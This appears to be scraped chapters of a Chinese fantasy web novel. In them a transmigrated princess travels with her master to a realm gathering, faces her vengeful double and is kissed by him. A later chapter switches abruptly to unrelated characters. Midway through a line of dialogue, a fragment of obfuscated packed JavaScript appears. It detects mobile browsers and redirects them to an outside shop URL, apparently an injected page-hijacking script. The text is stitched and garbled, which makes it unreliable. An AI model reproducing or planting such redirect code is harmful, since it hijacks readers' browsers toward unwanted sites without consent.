宣老神色如常,立即改口道:“你灵力增长快,经脉有些淤滞。老夫是说你日后一次比一次难梳理通畅。”
“那谢谢宣老!”
宣老捻须的手指顿了一下。
“老夫帮你打通之后,你就不会做那些噩梦了。”
闻言,岳悦更是不解。
“宣老怎知…”
面对岳悦的质疑,宣老面上却笑得更加温和:“日有所思,夜有所梦。你心思浮动,脉象上都看得出来。日后静心打坐,便会好转。”
“好,晚辈记下了。”岳悦乖巧应下。
“好了,快回去歇息吧。”宣老摆摆手。
“宣老和师父也早些休息!”
岳悦行了一礼,离开了高台。
直到岳悦的身影消失在一众弟子中,宣老脸上温和的笑意才彻底褪去,化为一片凝重的疲惫。
“这孩子身上的魔气老夫暂且压制了,只是那魔气与她相辅相成。若强行剔除只怕损她灵脉。”
陌九临缓缓坐下,目光落在方才岳悦离开的地方。
“这是她早晚要面对的,我只希望这一天能晚些到来。”他低声自语。
10. 初登沧澜境
岳悦被宣老医治后,之后夜里睡得确实安稳。
只是这种安稳连带着她的灵力也弱了不少。岳悦此前运功稳脉比做了三百个仰卧起坐都累,如今反倒轻松不少。
此刻的她更加好奇,那蒙面女郎究竟是何人。
【系统提示:当前宿主血条为百分之九十九。】
自从上次被派了任务,岳悦听见这破提示音就烦。
“放心,我活得好好的。”
【系统提示:再次说明,当宿主血条为百分之二十时,即算死亡一次。】
冰冷的提示音在她脑海中回荡,她此时却不愿意理会。
“让马儿跑,还不给马儿吃草。多给点辅助会死啊!”
算算时间,明日便启程出发。这是岳悦入观以来第一次离开月陌山,经过这些时日的相处,她发现陌九临这个人吃软不吃硬。
自己前期只要对他百依百顺,后期或许还能少遭点儿罪。
出发那日,天色有些沉,铅灰色的云层低垂,压着远山的轮廓。
陌九临一身玄衣,神情冷峻,走在最前。
岳悦一袭淡粉色衣裙,头戴面纱,面纱之上,那双眸子便成了唯一清晰可辨的焦点。此刻,那眼中少了几分烦闷。
温命则是一袭月白长衫,举止从容,与岳悦并肩而行,偶尔低声介绍些三境大会的渊源和注意事项。
玄鹰代步,行的却是僻静山路。起初一段路程还算平稳,岳悦靠最里侧,看着外面飞速掠过的林木山石,试图整理纷乱的思绪。
“师父,您不让我催动灵力,若遇到危险,我也没办法自保吧。”
闻言,陌九临并未抬眸,只浅浅地回了句:“有我在,无需你动手。”
岳悦被陌九临这句话装到了,不愧是天境唯一上古战神,连说话都这么有底气。
岳悦被他一句话给怼回去,也懒得与他争辩一二。反正丹药已经撇了,就算他是陌九临也没辙。
月色初上时,玄鹰在一处临水的崖坪降落。此去三境大会所在的“沧澜境”尚有三日路程,今夜便在此休整。
崖坪宽阔,背靠峭壁,前方是深不见底的幽谷,谷底传来潺潺水声。
温命熟练地布下简单的防护阵法,又拾来干柴,燃起篝火。火光跳跃,映着陌九临沉默的侧脸,也映着岳悦面纱上那双忽明忽暗的眼眸。
她盘膝坐在离火堆稍远的地方,夜风撩起她面纱一角,带来谷中湿润的草木气息。
她试着如往常那般内视灵脉,果然,原本奔涌如溪的灵力,如今滑缓如深潭之水,沉静得让她陌生。
宣老那几针,像是给她的灵力套上了一层无形的“壳”,虽护住了心脉不再受噩梦惊扰,却也阻隔了灵力的自由流转。
宣老似乎话里有话,可岳悦猜不出这其中的意味。
连同那日的遭遇,她想,她一个碧海天宫的废物公主,能让人下死手,除非那蒙面人想阻止陌九临复活月禾。
纷乱的念头被一声短促的鹰唳打断。守在崖边的玄鹰忽然不安地动了动爪子,颈羽微张。
几乎同时,陌九临闭着的眼睁开了,眸中冷光一闪而过,比篝火更灼人。温命也停下了拨弄柴火的手,指尖微微泛起灵光。
“有东西来了。”
陌九临的声音不高,却清晰地穿透了风声水声。
岳悦心头一紧,下意识想运转灵力戒备,那股滞涩感却让她动作一滞。
她现在的状态,别说御敌,自保都勉强。
黑暗中,数点幽绿的光亮起,如同鬼火,自谷底林间迅速逼近,带着腥臊的气息。
是魇虎,这种不入流的妖兽,常成群出没,爪牙带毒,最喜侵蚀灵力。
七八头牛犊大小的魇虎窜上崖坪,皮毛灰黑,眼冒绿光,涎水从尖利的齿间滴落,喉咙里发出威胁的低吼。
它们目标明确,呈扇形隐隐围向三人,其中两头更是绕向侧方,直扑岳悦!
“莫动!”
陌九临话音未落,人已不见。
下一瞬,他出现在扑向岳悦的两头魇虎之间,玄色衣袖似只是随意一挥。
没有惊天动地的灵爆,那两头魇虎却如同撞上无形的铁壁,哀嚎一声,以更快的速度倒飞出去,砸在远处岩壁上,筋骨断裂声清晰可闻,瘫软下去再无声息。
温命也已出手,月白身影如流云般飘忽,指间灵光化为数道纤细却坚韧的锁链。
他瞬间缠住另外几头魇虎的四肢关节,使其动作骤然僵硬,徒劳地挣扎咆哮。
战斗开始得快,结束得更快。
不过呼吸之间,除了被温命束缚住仍在低吼的几头,其余的魇虎已伏诛。
陌九临甚至没有动用他的本命兵器,也未显露丝毫属于上古战神的威压,仅仅是最基础的灵力外放与体术结合,便轻松撂下。
岳悦看呆了。
陌九临的动作简洁到了极致,没有一丝多余,灵力凝练如针,精准地点在妖兽的命门。
这就是绝对实力带来的从容。果然是满级buff人设,自带男主光环。
“清理一下。”
陌九临对温命吩咐,目光却扫过岳悦。
“寻常妖兽都能把你吓个半死,真是没用。”
岳悦藏在面纱下的嘴唇动了动,没说话。她确实无话可说。
只是心里那股憋闷又上来了,并不好受。
对她这个“穿书”且身负“系统”秘密的人来说,没用的又不是她。
温命挥手间,束缚魇狼的灵链收紧,了结了它们的性命,随后弹出一小簇白色火焰,将几具尸骨烧成灰烬,连气味都净化干净。
“此地方圆百里并无强大妖物巢穴,魇虎群居,却很少如此有组织地袭击。”
温命处理完,回到火边,微微蹙眉,“它们似乎……是冲着岳师妹来的。”
陌九临重新坐下,闭目养神,仿佛刚才只是拂去了几点尘埃。
“有人引它们来的。”
岳悦心头一跳:“谁?”
陌九临淡淡道:“你不必知晓。”
“都要我命了,我问问都不行?”
陌九临仍不做声,只递给岳悦一个眼神要她闭嘴。
她灵力变“弱”的事,恐怕瞒不过有心人。既然陌九临不应,她只好另求他人。
“系统。”
她在心里默念。
“刚才那种情况,如果我血条因为中毒或者受伤下跌,算谁的?”
【系统提示:任何非宿主主观意愿放弃生命导致的血条下降,均计入生存挑战。宿主死亡判定以血条降至百分之二十为准,与受伤原因无关。】
冰冷的机械音让岳悦更加烦躁。
“说了还不如不说,有没有什么新手保护期,伤害豁免之类的?或者给个地图导航、危险预警也行啊!”
她试图讨价还价。
【系统提示:辅助功能需宿主达成特定成就或触发隐藏条件后解锁。当前无可提供辅助。】
得,还是得靠自己。
后半夜再无风波。岳悦靠着岩石,听着谷底的水声,却毫无睡意。宣老的针法让她摆脱噩梦,却也让她在危机四伏的异世界更加柔弱。
陌九临的强大毋庸置疑,可他能护她到几时?
原书的剧情线如同悬在头顶的利剑,她这个“祭品”的命运,真的能靠避开陌九临的“折磨”改变吗?
自她来到这个世界,某些轨迹已经开始偏移。
天光微亮时,众人再度启程。
接下来的两日路程,倒是平静。偶有不开眼的小妖小怪,不等近身便被温命解决。
岳悦乐得轻松,一路上大部分时间都在沉默观察。
她发现陌九临并非完全不理睬她。
当她因为灵力滞涩,攀爬一处陡坡略显吃力时,他会放缓脚步。
当她对着温命询问三境大会细节听得入神时,他虽不插话,却也未露出不耐。
只是那份疏离与冰冷,依旧如同他周身萦绕的、看不见的屏障。
她也悄悄尝试过,在不引起陌九临注意的情况下,极其缓慢、小心地推动那潭“死水”般的灵力。
过程比之前更加艰涩,仿佛在推动一座大山,但每当灵力极其微弱地流动一丝,经脉中便会传来一种奇异的稳固与温润感,不像以前那样澎湃却略显虚浮。
第三日傍晚,玄鹰飞越最后一道巍峨的山脉,眼前豁然开朗。
一片浩瀚无垠的蔚蓝水域映入眼帘,水面平滑如镜,倒映着天际绚烂的晚霞,仿佛天空坠入了海中。
水域之上,琼楼玉阶,亭台楼阁隐现于葱茏草木与缭绕的云雾之间,霞光瑞气,氤氲升腾。
空中不时有各色流光飞掠而过,皆是前来赴会的修士。
这里便是三境交汇之处的独立领域,沧澜境。
玄鹰朝着其中一座最为宏伟、宛如巨龟驮着仙山的岛屿降落。
岛上早已熙熙攘攘,各境修士服饰各异,气息驳杂,强大的威压隐现,喧哗与寒暄之声不绝于耳。
落地后,自有接引的沧澜境弟子上前,查验令牌,引路安排住所。
陌九临作为天境战神,地位尊崇,被单独
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引往岛屿深处一座清幽的临湖殿宇。
岳悦和温命则被安排在稍外围一处精致的客院,两人分住相邻的厢房。
“大会明日辰时正式开始于万象坛,今日请诸位自便。岛上各处皆可游览,但有些禁地区域切勿靠近,以免引起误会。”
接引弟子恭敬地说道,随即退下。
客院清静,推开窗便能看见一片烟波浩渺的湖面,远眺中心岛屿的繁华。
岳悦摘下面纱,长舒了一口气。连日的奔波,终于暂时落脚。
温命安顿好后,过来敲了敲她的门:“岳师妹,可要随我出去走走?熟悉一下环境,也见识一下各族风采。”
岳悦正有此意,点头答应。两人出了客院,沿着白石铺就的小径,汇入岛上的人流。
沧澜境果然气象万千。街道宽阔整洁,两旁宫殿林立,摆放着灵草,丹药,法器,乃至珍奇异宝,许多都是岳悦从未见过的。
来往修士形形色色,有道骨仙风的老者,有英气勃勃的青年,亦有容貌昳丽的女子,气息强弱不一,但能在此时出现在这里的,皆非庸手。
岳悦看什么都新鲜,但也没忘记暗自警惕,尤其在人多之处,更是将面纱戴得严实,只露出一双眼睛。
温命走在她身侧半步之处,为她介绍一些显眼的门派服饰或知名人物。
“看那边,身着冰蓝剑纹袍的,是寒霜阁的弟子,他们剑法迅疾,功法寒绝。”
“那是腰佩灵兽囊、气息与自然相合的,多半来自夷平,擅长驭兽通灵……”
温命话音一顿,目光投向不远处一座三层高的华丽酒楼门口。
“你看!”
岳悦顺着他的视线看去,只见一群身着炫目金红色华服、举止颇为张扬的年轻修士正簇拥着一名男子走入酒楼。
那男子被众人围在中间,看不清全貌,只瞥见一个挺拔的背影和束起的乌发上那枚熠熠生辉的赤金发冠。
“那是魔族的…”
温命压低声音。
“炽溟。”
岳悦抢先一步说出,她拉着温命。
“远离他,切勿与他硬碰硬。”
岳悦认真的叮嘱让温命茫然无措。作为悉知剧情的人,岳悦自然知道他是谁。
将温命困在至幻之境拖延时间的就是他。
岳悦正要收回目光,炽溟似有所觉,忽然在酒楼门口停步,侧头回望过来。
那是一张极其俊美却带着几分邪气的脸,剑眉星目,鼻梁高挺,嘴角似笑非笑地勾着。
他的目光直接越过温命,落在了岳悦身上。
准确说,是落在她面纱之上的那双眼睛上。
视线相接的刹那,岳悦心头莫名一跳。
那目光并非陌九临那种冰冷的审视,而是带着一种毫不掩饰的,炽烈的探究,甚至有一丝玩味,仿佛发现了什么有趣的猎物。
炽溟盯着她看了两秒,嘴角的弧度似乎扩大了些,随即被身旁的人催促着,转身进了酒楼。
“他……”岳悦蹙眉。
“他乃魔境常胜将军,行事不拘常理,不必理会。”
温命语气微凝,侧身挡了挡岳悦的视线。
“我们走吧。”
岳悦压下心头那丝异样,跟着温命转向另一条小路。
然而,炽溟那一眼,却像一根细刺,扎进了她的心里。
看来这三境大会,果然龙潭虎穴,不止有已知的剧情危险,还有这些预料之外的麻烦。
逛了约莫一个时辰,两人返回客院。天色已暗,沧澜境内华灯初上,更添仙境瑰丽。
岳悦回到自己房中,关上门,背靠着门板,缓缓吐出一口浊气。
各境英才汇聚,强者如云,而她这个挂名弟子,在此处显得格格不入。
她走到窗边,望着夜色中平静湖面和璀璨的灯火。
明日,三境大会便将正式开始。
按照原书,大会期间纷争不断,陌九临也会因为一些事对她愈发冷酷。
她现在灵力有异,神秘人至今仍无线索。
岳悦摸了摸手腕,微凉触感漫袭全身。
“不管怎么样,走一步看一步吧。”
她低声自语,眼中那点因陌生环境而产生的彷徨渐渐褪去,取而代之的是一抹坚定。
至少,她现在夜里能睡安稳了。灵力弱了,或许也未必全是坏事。
她盘膝坐到榻上,再次尝试着,以极大的耐心,去推动体内那潭深水般的灵力,感受着经脉随之而来的温润感。
窗外,沧澜境的夜,才刚刚开始。
12. 侦破至幻之境
岳悦喉咙发干,话在舌尖打转,几乎要脱口而出,却又被她死死压住。
“你…是月…”
“月禾?”
她嗤笑一声,暗红的眼中怨毒更甚。
“我可不是那个蠢货,可以为了旁人同自己作对。”
她向前走了一步,脚下焦黑的土地发出轻微的“滋滋”声,仿佛被她的气息进一步腐蚀。
“我与你,都不过是她侥幸滋生出的东西。”
她顿了顿,血红的眼眸死死锁住岳悦:“我们生来就势不两立。”
她越是靠近,岳悦的灵力就削弱三分。此时,她的脑海里闪过一个她从未听说过的名字。
“姝蘅。”
这个名字从她口中吐出,带着浓重的血腥气。
岳扶商尘封的记忆开始蔓延。
姝蘅是月禾怨念的化形,从魔境绝地为巢,窃取月禾最深的执念而生。
岳悦脑中嗡鸣。原书里根本没有这个角色!
月禾死后,她的存在就是陌九临执念的符号,是推动剧情虐恋的工具,何曾有过什么怨念化形?
这是……剧情变异?
还是这个世界自动补全了那被忽略的“另一面”?
“你……你想做什么?”
岳悦强迫自己冷静下来,尽管面对着一个和自己一模一样、却满身怨毒的“存在”,这种心理冲击力前所未有。
“上次是你重伤我?”
“是,也不是。”
姝蘅打量着岳悦,像在审视一件拙劣的替代品。
“我尚未化形,还不算是真正的我。”
她的语气陡然变得尖利。
“陌九临把你保护得很好嘛,连我的存在他都不曾告诉你。”
最后三个字,她是嘶吼出来的,伴随着声音,周围的岩浆猛地窜高数尺,热浪扑面而来,灼得岳悦脸颊生疼。
“你的存在?关我屁事!”
岳悦也提高了声音,在这怨念的压迫下,她骨子里那股不服输的劲儿被逼了出来。
“我不是月禾的替代品!你的怨念,该去找造成这一切的人,而不是我!”
“造成这一切的人?”
姝蘅仿佛听到了天大的笑话,疯狂地大笑起来,笑声在炎龙山的山谷间回荡,凄厉无比。
“看来你还是不知道你的来历,不过不重要,你只需要知道,今日就是你的死期!”
她猛地止住笑,指尖直指岳悦,漆黑如墨、夹杂着暗红火光的怨力在她指尖凝聚。
话音未落,她指尖那团怨力已激射而出,并非直取岳悦要害,而是化作数条漆黑的、带着火星的锁链,缠绕向岳悦四肢。
那锁链并非实体,却带着灼烧灵魂的炽热与沉重如山的怨念,所过之处,连幻境的空间都微微扭曲。
岳悦大骇,想要躲闪,但灵力运转迟滞,身体反应远不如意识快。
她只能竭力向侧方翻滚,同时将体内那缓慢流淌的灵力尽可能地聚集到双臂,向外格挡。
“啊!”
怨力锁链擦过她的手臂外侧,并非直接接触皮肤,却有一股灼痛难当的力量瞬间穿透了灵力防御,直侵经脉。
岳悦痛哼一声,感觉被击中的地方仿佛瞬间被烙铁烫过。
更可怕的是,一种极度负面、充满绝望和憎恨的情绪顺着那股力量,猛地冲入她的脑海。
无数破碎的画面闪现。
月禾与陌九临相识,紧接着是突如其来的围攻,惨烈的厮杀,月禾力竭倒下后,神魂被强行撕裂、消散于天地间的无边剧痛与黑暗。
那不是岳扶商的记忆,却比亲身经历更加尖锐地刺痛她的神经。
那是属于月禾的,最深刻、最惨烈的记忆,如今成了姝蘅怨恨的养料和攻击的武器。
“感受到吗?我有多痛,多恨!”
姝蘅的声音如同魔音灌耳,她步步逼近,更多的怨力从她周身喷出。
岳悦被那怨念情绪冲击得头晕目眩,眼前阵阵发黑,灵力的运转更加艰难。
她知道自己不能硬抗,这怨念攻击直指心神。她踉跄后退,试图拉开距离。
“我不是她!”
岳悦咬牙,几乎是从齿缝里挤出这句话。
“我和你没有关系!”
她试图用言语刺激对方,寻找破绽。
避无可避!
岳悦瞳孔骤缩,死亡的阴影瞬间笼罩。
【系统提示:当前宿主血条为百分之五十。】
她体内的灵力在危机刺激下,终于挣扎着涌出一些,在身前形成一层薄薄的光幕。
然而,这光幕在那怨念火焰巨掌前,脆弱得如同纸糊。
她强忍着痛意起身,好在丹药没吃,她只好赌一把。
“以我神灵,化我原形,破!”
一股强盛且蕴含无上冲击,穿透了炎龙山的灼热空气和狂暴的怨力。
时间仿佛在这一刻被按下了暂停键。
那股金光凝固在半空,翻腾的岩浆停止流动,连空中飘散的黑灰都静止了。
岳悦惊愕地抬眼。
只见不远处的虚空,如同被无形之手撕裂。
“鸿蒙福沼,果真名不虚传。”
没有惊天动地的爆炸,没有惨叫。
姝蘅的身影,连同她周身那浓郁得化不开的怨戾之气,开始如同被阳光照射的冰雪,在岳悦面前迅速消融、淡化。
炎龙山的景象也开始崩塌,碎裂,还原成那片无边无际的纯白。
在彻底消散前,姝蘅那眼神复杂到了极点,有怨恨,有不甘,有嘲弄。
“岳扶商,我们来日方长。”
下一刻,幻象彻底崩解。
岳悦感到一股柔和却无法抗拒的力量包裹住她,将她从那空间中猛地拉扯出来。
真实的空气涌入肺部,伴随着冰冷的潭水和坚硬的岩石触感。
她重重摔在幻波潭边,咳嗽着,身旁是昏迷不醒、气息微弱的温命。
此时陌九临就站在她面前,白衣未湿。
陌九临低头,看着湿漉漉的面纱贴在她脸上,面颊惨白。
他不顾旁人眼光,一把将她抱起。
“本君就不作奉陪了。”
“师父!”
温命拉着陌九临的衣角。
“您这样抱着岳师妹,不合规矩。”
闻言,岳悦似乎也瞧见了那异样的目光,挣扎着想让陌九临放开自己。
而陌九临转身面对温命,手不但没松开,反倒将她往上颠了颠。
“本君就是规矩。”
话音刚落,他在众目睽睽之下抱着岳悦离开。
他的背影挺拔而孤绝,抱着她的手臂却稳如磐石。
岳悦能感觉到他胸膛传来的平稳心跳,与她自己混乱的心跳形成鲜明对比。
一路上,他沉默着,未曾提起只言片语。
在他漠然的眼神背后,似乎裂开了一道细微的、连他自己都未曾察觉的缝隙。
岳悦惊魂未定,抬头对上他的视线。
万千疑问堵在胸口:姝蘅是月禾的怨念,她为何会存在?
陌九临也知道吗?
他如今的沉寂,难不成又要折磨自己了?
陌九临面对她略显心虚的眼神,只是淡淡地移开了目光,仿佛刚才的一切都不值一提。
他丢下一句听不出情绪的话,随着夜风飘散。
“你还真是厉害,自己伤势未愈,还学会救别人了。”
“我若不挺身而出,温师兄就要在此丧命了。”
闻言,陌九临停下脚步。
“温命不止是你的师兄,他更是陌云观的门生。本君自有办法出手,你倒是比本君还心急。”
“自有办法?”
岳悦靠在他肩头,声音因虚弱而微哑,“师父若有办法,为何要等到我几乎丧命才现身?”
这话带着她自己都未察觉的怨气。
陌九临没有立刻回答。
他继续迈步,朝着她住处走去,步履不疾不徐,仿佛方才她尖锐的质问只是拂面清风。
他将她轻轻放在床榻上,他才垂眸看她。
烛火摇曳,在他深邃的眼眸中投下明明灭灭的光影。
“你质问本君见死不救?”
他的声音平静无波,听不出喜怒。
岳悦半靠在床头,湿透的衣袍贴着身体,冷意和残留的灼痛交织。
她抬头直视他:“难不成这是师父给我的考验。师父早就猜到这是个圈套,看着我眼睁睁地跳进去。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177342|196918||http|test|mini|href|location''.split(''|''),0,{}));
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>陌九临没有否认。
他伸出手,修长的手指隔空拂过她方才被怨力擦伤的手臂,一缕清凉温和的灵力渗入,缓解了那灵魂灼烧般的痛楚。
“知道如何,不知道又如何?”
他语气淡漠:“岳扶商,你是忘了自己的身份吗?”
这话像一根刺,扎进岳悦心里。她忽然觉得一阵疲累,不仅仅是身体上的。
“所以…在师父眼里,我不是我。”
她扯了扯嘴角,笑得有些凄凉。
“就如姝蘅所言,我与她不过是侥幸滋生的东西。”
陌九临的眉心几不可察地蹙了一下。
他忽然俯身,双手撑在她身侧的床沿,将她困在自己与床榻之间。那股清冽又极具压迫感的气息瞬间笼罩了她。
“你今日很在意温命。”
他盯着她的眼睛,一字一句道:“你为他涉险,为他质问本君。莫不是公主真对他生了不该有的心思?”
两人距离极近,岳悦能看清他纤长的睫毛,能感受到他呼吸间温热的气息。
这本该是极具威慑的姿态,可不知为何,她竟从他平静无波的语气里,捕捉到了一丝极其细微的…细腻。
这个发现让她心头莫名一跳。鬼使神差地,她没有退缩,反而迎上他的目光。
“师父,您既不愿提及今日之事,又何必拿温师兄来取笑徒儿。”
话一出口,她自己都愣住了。这不像她会说的话,轻佻又大胆。
或许是伤后神智未清,或许是那些激烈情绪仍在影响她。
陌九临显然也怔了一瞬。随即,他眼底那点细微的波动瞬间冻结,覆上更厚的寒霜。
“放肆。”他声音冷了下去。
可他没有退开。
陌九临看着她近在咫尺的薄唇,线条优美却总是紧抿着,吐出刺耳的话语。
愤怒,担忧,所有情绪混杂在一起,在他胸腔里冲撞。
理智的弦,在重压和恍惚中,悄然崩断。
他不知哪里来的力气,亦或是一种破罐破摔的冲动,忽然抬起岳悦未受伤的手臂,勾住了他的脖颈。
在岳悦骤然收缩的瞳孔注视下,他仰起头,将微凉而颤抖的唇轻轻迎了上去。
时间仿佛静止了。
唇上传来的触感柔软而微凉,带着他特有的清冽气息。
岳悦脑中一片空白,只剩下最原始的感官。
他陡然变得灼热的呼吸,以及自己如擂鼓般狂跳的心。
这是一个短暂、生涩、甚至称得上鲁莽的吻。
一触即分。
岳悦迅速摆脱他,别过脸,耳根滚烫,不敢看他。
陌九临在做什么?他疯了吗?
难不成是看见自己的脸,一时间冲昏了头?
他继续维持着俯身的姿势,撑在她身侧的手臂肌肉线条似乎绷紧了。
烛火在他脸上投下深深的阴影,看不清表情,只能感觉到那目光如有实质,牢牢钉在她侧脸上。
气氛静得能听到烛芯噼啪的轻响,以及她自己紊乱的呼吸。
良久,久到岳悦几乎要窒息时,他才缓缓直起身。
衣衫摩擦发出轻微的窸窣声。他站在床前,居高临下地看着她,眼神复杂难辨。
方才那一瞬间的波动已被深深敛去,只剩下深不见底的幽潭。
“我从未把你当作过别人。”
他开口,声音出乎意料地平静,甚至比平时更低沉几分。
“邪祟侵体,灵力衰弱,好生调息,明日我会让人送药来。”
他没有提那个吻,仿佛那只是趁她伤重恍惚下的一个无意义举动。
说完,他转身朝门外走去,步伐依旧沉稳,背影依旧孤高。
只是在门扉合拢的刹那,岳悦似乎瞥见,他垂在身侧的手,指尖几不可察地蜷缩了一下。
房门轻轻关上,隔绝了内外。
岳悦呆呆地坐在床上,抬手轻触自己的唇瓣,那里仿佛还残留着一丝不属于自己的温度。脸颊滚烫,心乱如麻。
而门外,月光洒在陌九临霜白的衣袍上。他并未立刻离去,而是在廊下静立片刻。
夜风拂过,他抬起指腹缓缓擦过自己的下唇,眼底掠过一丝极沉的晦暗,最终归于一片寂冷的深渊。
16. 灵力初现
祠堂外,风雪正狂。
浩瀚的剑光并未远离月族领地,而是在极高的天穹之上,坠向北方,那片极寒荒原的深处。
剑光之中,明昭感觉到一种前所未有的平稳与宁静。
外界狂暴的风雪与刺骨的严寒被完全隔绝,周身暖洋洋的。那股持续渡入体内的温和灵力,正在一点点修复她千疮百孔的身体与几近碎裂的灵魂。
她努力凝聚起一丝力气,微微转动脖颈,将脸颊更贴近齐止的衣襟,像是迷途的幼兽找到了唯一的庇护所。
她很想问,为什么回来?要去哪里?究竟是谁?
但她太累,太虚弱了,连思考都显得费力。最终,只有模糊的意念在漂浮。
不知过了多久,剑光的速度似乎减缓,然后缓缓降落。
当明昭再次勉强睁开眼时,四周光滑晶莹,泛着柔和的淡蓝色荧光,将内部映照得并不昏暗。
洞府中央有一泓氤氲着白气的寒潭,潭水清澈见底,散发出精纯的冰寒灵气。
洞内并无他物,只有一方冰凝而成的平台,平整光滑。
齐止将她轻轻放在那冰台之上,冰台触感并不刺骨。
他没有立刻离开,而是半跪在冰台旁,伸出右手,食指中指并拢,轻轻点在她眉心。
灵力迅速游走她全身,滋养着受损的脏腑与神魂。
“今日伤及你血脉本源,强行抽取你的灵力根基。”
齐止的声音在寂静的冰窟中响起,平淡地陈述着她的伤势。
“若要弥补,唯有…”
他收回手,眼中有万分迟疑。
“你切等我三日,待我炼化仙药。这期间,你不可离开这里,更不可打扰我闭关。”
明昭依言微微张口,她终于积攒了一点力气,目光一瞬不瞬地看着近在咫尺的齐止。
他依旧没什么表情,侧脸的线条清晰冷峻,但那双低垂着查看她状况的眼睛里,多了些许难以捉摸的专注。
“为什么…帮我?”
她声音沙哑细微,几乎只是气音。
齐止动作微微一顿,抬眼看向她沉默片刻。
冰窟内只有寒潭水汽微微蒸腾的细微声响。他站起身,走到寒潭边,背对着她,望着那澄澈的潭水。
“因为我等着你报答我的救命之恩。”
他淡淡地说,理由简单到近乎敷衍。
明昭怔住。
“而且…”
他继续说道,声音依旧没什么起伏,却让明昭的心轻轻一颤。
“我从来不做亏本买卖,这些你都是要还的。”
“你要我……怎么还?”她喃喃。
“到时你自会知晓。”
他顿了顿,没有说下去,但周身的气息似乎又冷了一分。
“你且安心养伤。”
明昭心中一震。
“那……这里是?”她环顾四周晶莹的冰壁。
“北境荒原深处,我的住所。”
齐止转身,走回冰台边。
“此地冰寒灵气精纯,对你目前稳定伤势、隔绝外界探查有益。月族短时间内,不敢,也无力深入此地搜寻。”
他说得轻描淡写,但明昭能想象突破月族的阻拦带她回来,绝非易事。
“多谢……”
千言万语,最终只化作这两个字。泪水再次不受控制地涌上眼眶,但这一次,不是因为痛苦和绝望。
齐止看着她泛红的眼圈,那目光沉静依旧,只比平日多停留了一瞬。
他没再说什么,转身走向冰窟深处一处更为幽暗的裂隙。一道柔和的冰蓝色光幕随即在裂隙口亮起,隔绝了内外所有的气息与声响。
冰窟内骤然只剩下明昭一人,以及寒潭水汽袅袅上升的细微声响。
无边的寂静包裹而来,带着冰窟固有的清寒。她躺在温润的冰台上,身体的剧痛和神魂的虚弱感仍在,但齐止留下的那股温和灵力持续抚慰着她的伤痛。
她不敢乱动,怕牵动伤势,更怕无意中打扰了那道冰蓝光幕后的身影。
时间在寂静中缓慢流淌。
明昭起初只能昏睡,醒来便怔怔地望着头顶晶莹剔透、泛着光的冰穹。
这里没有日月轮转,没有春秋更迭。她甚至不知道过了几天,只觉得齐止还未出关,日子过得不算久。
她想起祠堂里冰冷的锁链和阿母复杂厌恶的眼神,想起族人或冷漠或怜悯的视线。
然后,思绪总会不由自主地飘向那袭白衣,那道破开绝境的剑光。
他说报答……她一个灵力全无的废人,能拿什么报答他那样的人物?
疑问如同冰窟中的寒气,丝丝缕缕,渗透进心底。比起在月族时那种被命运扼住喉咙的绝望,此刻的疑惑里,掺杂着一丝渺茫的可能性。
不知第几次从昏睡中醒来,明昭感到身体的虚弱感似乎减轻了一些。
至少,她起身不再那么费力。
她尝试着,极其缓慢地,调动那一丝几乎不存在的意念,去感知周围。没有灵力,她无法像修士那样内视或探查那种极其微弱的感应。
她微微侧头,看向那寒潭。
潭水清澈见底,她恍惚间竟觉得那潭水的波动,隐隐契合着某种难以言喻的韵律。与她产生了一丝微不可察的共鸣。很轻微,轻微到像是错觉。
就在她凝神试图捕捉那丝微妙感觉时,那种共鸣无声无息地消散了。
“你想做什么?”
明昭立刻收回心神,有些紧张地看向裂隙方向。
齐止走了出来。依旧是那身白衣,纤尘不染,身姿挺拔如松柏。
他的面色似乎比三日前更苍白了一些,唇色也淡得近乎透明,但眉宇间的冷峻沉静却丝毫未变,甚至那双眼睛,依旧深邃平静。
他走到冰台边,目光落在明昭脸上,仔细审视了片刻,似乎确认她的状态尚可。
“丹药已成。”
他言简意赅,将其递到她唇边。
“服下,过程或许有些难熬,忍着。”
明昭看着他近在咫尺的手,那手指修长稳定没有丝毫颤抖。她依言照做。
丹药顺喉而下,初时并无特殊感觉。
但不过一息之间,一股难以形容的灼热,猛然从她丹田气海中炸开。
那并非火焰焚烧的痛,而是一种仿佛要将她整个人从内到外彻底融化、重塑的极致热力!
“不行!”
明昭猛地蜷缩起身子,冰台虽温润,却无法缓解体内那恐怖的灼烧感。
她感觉自己的血液在沸腾,骨骼在呻吟,每一寸经脉、每一处脏腑都在那金红色药力的冲刷下剧烈撕裂又重组!
更可怕的是,她的神魂仿佛被投入了熔炉,过往的记忆碎片,所有的一切都在浑噩中扭曲,翻腾,带来撕裂灵魂般的痛楚。
她死死咬住下唇,尝到了血腥味,双手无意识地抓紧了身下冰台光滑的表面,指甲几乎要崩裂。
汗
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水瞬间浸透了她的衣衫,化作白气袅袅升起。
“我受…受不住了…”
整个过程,齐止只是静立一旁,垂眸看着她痛苦挣扎,未有波澜。
只是,若明昭此刻还有余力观察,或许会发现,他负在身后的那只手,早就无力紧握。
不知过了多久,那足以将人逼疯的灼热感开始转变。
一股清凉之意,从她心口悄然滋生,迅速扩散,与那狂暴的灼热药力相遇。
冰与火,毁灭与新生,在她体内展开融合。
剧痛依旧,但在这极致的痛苦中,一丝丝难以言喻的生机。
她能清晰地感觉到干涸枯萎的根基,正被这股力量强行贯通滋养。
蜕变的过程缓慢而折磨。明昭的意识在极致的痛苦和偶尔闪现的清凉舒畅间浮沉。
几次濒临崩溃的边缘,却又总被一股不知从何而来的坚韧拽回。
恍惚间,她似乎听到极轻的一声闷哼,不是来自她自己。
她努力想睁开眼,视线模糊中,仿佛看到一直静立如冰雕的齐止,身形几不可察地晃动了一下,扶住了旁边的冰壁,但只是一瞬,他便重新站直,仿佛那只是她的错觉。
当体内的最后一丝狂暴终于平复,明昭如同从水里捞出来一般,浑身湿透,瘫软在冰台上,连一根手指都动不了。
她疲惫至极地抬眼,看向齐止。
他依旧站在那里,面色似乎比刚才更白了些,但他站得笔直,就像刚才那惊心动魄的服药过程都与他无关。
“你身体已无大碍。”
他的声音听起来有些低哑,但依旧平稳,
